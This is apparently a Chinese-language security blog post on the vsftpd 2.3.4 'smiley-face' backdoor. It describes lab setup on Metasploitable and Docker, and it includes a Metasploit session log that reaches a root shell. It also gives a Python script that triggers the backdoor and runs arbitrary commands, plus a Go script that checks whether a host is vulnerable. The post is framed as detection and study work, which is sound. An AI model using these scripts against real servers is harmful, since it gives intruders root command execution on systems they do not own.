Contents
VSFTPD v2.3.4 Backdoor Command Execution 简易分析
场景说明
编写 vsftpd 2.3.4 的后门检测脚本,首先尝试看了一些 exploit-db,毕竟是一个有着近十年历史的老漏洞,其 exploit 地址为 https://www.exploit-db.com/exploits/17491 。
漏洞简介
简而言之,开发者在 2.3.4 的 vsftpd 中植入了一个后门,该后门的使用方式如下:在 21 端口,使用随机用户名(末尾以 :)
笑脸结尾,使用随机密码在 TCP 流上进行 FTP 协议的认证,之后关闭连接。再新建一个 TCP 流,连接服务端的 6200 端口,此时服务端会将 /bin/sh
绑定到 6200 端口,即可进行命令执行。
相关代码流程细节可以参考末尾 k0shl 的分析。
靶机测试环境搭建
虚拟机方式
使用 Metasploitable 2
下载地址: https://sourceforge.net/projects/metasploitable/
之后使用 VMware Workstation 导入运行即可。
默认用户 msfadmin/msfdamin
Docker 方式
主要仓库
https://github.com/penkit/vsftpd
另一个可以参考的仓库
https://github.com/vitalyford/vsftpd-2.3.4-vulnerable
# https://github.com/penkit/vsftpd
sudo docker pull penkit/vsftpd:2.3.4
sudo docker run -p 21:21 -p 6200:6200 -d penkit/vsftpd:2.3.4
漏洞利用
可以使用 msf 来利用
msf5 > use exploit/unix/ftp/vsftpd_234_backdoor
msf5 exploit(unix/ftp/vsftpd_234_backdoor) > show options
Module options (exploit/unix/ftp/vsftpd_234_backdoor):
Name Current Setting Required Description
---- --------------- -------- -----------
RHOSTS yes The target address range or CIDR identifier
RPORT 21 yes The target port (TCP)
Exploit target:
Id Name
-- ----
0 Automatic
msf5 exploit(unix/ftp/vsftpd_234_backdoor) > set RHOSTS 192.168.198.132
RHOSTS => 192.168.198.132
msf5 exploit(unix/ftp/vsftpd_234_backdoor) > exploit
[*] 192.168.198.132:21 - Banner: 220 (vsFTPd 2.3.4)
[*] 192.168.198.132:21 - USER: 331 Please specify the password.
[+] 192.168.198.132:21 - Backdoor service has been spawned, handling...
[+] 192.168.198.132:21 - UID: uid=0(root) gid=0(root)
[*] Found shell.
[*] Command shell session 1 opened (192.168.198.129:36609 -> 192.168.198.132:6200) at 2019-08-29 11:05:41 -0400
id
uid=0(root) gid=0(root)
检测脚本
Python 检测脚本
一个简易示例
# vsftpd_234_exploit.py
#!/usr/bin/python3
import socket
import sys
import time
import random
import string
def exploit(ip, port, command):
""" Triggers vsftpd 2.3.4 backdoor and prints supplied command's output """
try:
print('[*] Attempting to trigger backdoor...')
ftp_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
ftp_socket.connect((ip, port))
# Attempt to login to trigger backdoor
username = "USER " + ''.join(random.sample(string.ascii_letters,4))+":)"+"\r\n"
byte_username = username.encode('utf-8')
ftp_socket.send(byte_username)
print(username)
# ftp_socket.send(b'USER letmein:)\n')
password = "PASS " + ''.join(random.sample(string.ascii_letters,4)) + '\r\n'
byte_password = password.encode('utf-8')
ftp_socket.send(byte_password)
print(password)
# ftp_socket.send(b'PASS please\n')
time.sleep(2)
ftp_socket.close()
print('[+] Triggered backdoor')
except Exception:
print('[!] Failed to trigger backdoor on %s' % ip)
try:
print('[*] Attempting to connect to backdoor...')
backdoor_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
backdoor_socket.connect((ip, 6200))
print('[+] Connected to backdoor on %s:6200' % ip)
command = str.encode(command + '\n')
backdoor_socket.send(command)
response = backdoor_socket.recv(1024).decode('utf-8')
print('[+] Response:\n', response, sep='')
backdoor_socket.close()
except Exception:
print('[!] Failed to connect to backdoor on %s:6200' % ip)
if __name__ == '__main__':
if len(sys.argv) < 4:
print('Usage: ./vsftpd_234_exploit.py <IP address> <port> <command>')
print('Example: ./vsftpd_234_exploit.py 192.168.1.10 21 whoami')
else:
exploit(sys.argv[1], int(sys.argv[2]), sys.argv[3])
Golang 检测脚本
一个简易示例
package main
import (
"bufio"
"bytes"
"fmt"
"net"
"time"
)
func main() {
fmt.Println("[*] vsftpd 2.3.4 backdoor detection starting ...")
var username string
var password string
var payload string
var message string
var timeout time.Duration
var ftpConn net.Conn
var backdoorConn net.Conn
var err error
ftpURL := "192.168.198.132:21"
backdoorURL := "192.168.198.132:6200"
// Connect to this socket
ftpConn, err = net.Dial("tcp", ftpURL)
if err != nil {
fmt.Println("[tcp] Error Connecting " + ftpURL + " " + string(err.Error()))
}
// grab banner
message, _ = bufio.NewReader(ftpConn).ReadString('\n')
fmt.Print(string(message))
username = "USER user:)\r\n"
// send to socket
fmt.Fprintf(ftpConn, username)
// listen for reply
message, _ = bufio.NewReader(ftpConn).ReadString('\n')
fmt.Print(string(message))
password = "PASS pass\r\n"
fmt.Fprintf(ftpConn, password)
ftpConn.Close()
time.Sleep(50 * time.Millisecond)
// Backdoor Trigger Stage
fmt.Println("[+] Triggered backdoor")
fmt.Println("[*] Target: " + backdoorURL)
timeout = time.Second * 2
d := net.Dialer{Timeout: timeout}
backdoorConn, err = d.Dial("tcp", backdoorURL)
if err != nil {
fmt.Println("[tcp] Error Connecting " + backdoorURL + " " + string(err.Error()))
fmt.Println("NOT Vulnerable! ")
}
payload = "id\n"
fmt.Fprintf(backdoorConn, payload)
message, _ = bufio.NewReader(backdoorConn).ReadString('\n')
fmt.Println("Response:")
fmt.Print(string(message))
backdoorConn.Close()
// content := []byte("uid=0(root) gid=0(root)")
if bytes.Contains([]byte(message), []byte("uid=")) {
fmt.Println("Vulnerable! ")
} else {
fmt.Println("NOT Vulnerable! ")
}
}
流量视角
如下图所示,左边是与 21 端口 有关的 ( tcp.dstport == 21 ) 的流量信息,右边是与 6200 有关的 ( tcp.dstport == 6200 ) shell 控制相关的流量信息。
msf 使用的 ftp 用户名和密码是 1-6 位随机字符。
sock.put("USER #{rand_text_alphanumeric(rand(6)+1)}:)\r\n")
sock.put("PASS #{rand_text_alphanumeric(rand(6)+1)}\r\n")
踩坑笔记
在搭建 docker 环境测试时,有时候会出现类似下面的错误,可能需要多 exploit 几次。
msf5 exploit(unix/ftp/vsftpd_234_backdoor) > exploit
[*] 192.168.198.133:21 - Banner: 220 (vsFTPd 2.3.4)
[*] 192.168.198.133:21 - USER: 331 Please specify the password.
[*] Exploit completed, but no session was created.
参考资料
1 VSFTPD V2.3.4 后门分析 – k0shl
https://whereisk0shl.top/post/vsftpd-v2.3.4hou-men-fen-xi
2 VSFTPD v2.3.4 著名笑脸漏洞手工利用 Backdoor Command Execution
https://blog.csdn.net/qq_38328382/article/details/89525630
3 VSFTPD v2.3.4 Backdoor Command Execution
https://www.rapid7.com/db/modules/exploit/unix/ftp/vsftpd_234_backdoor
Leave a Reply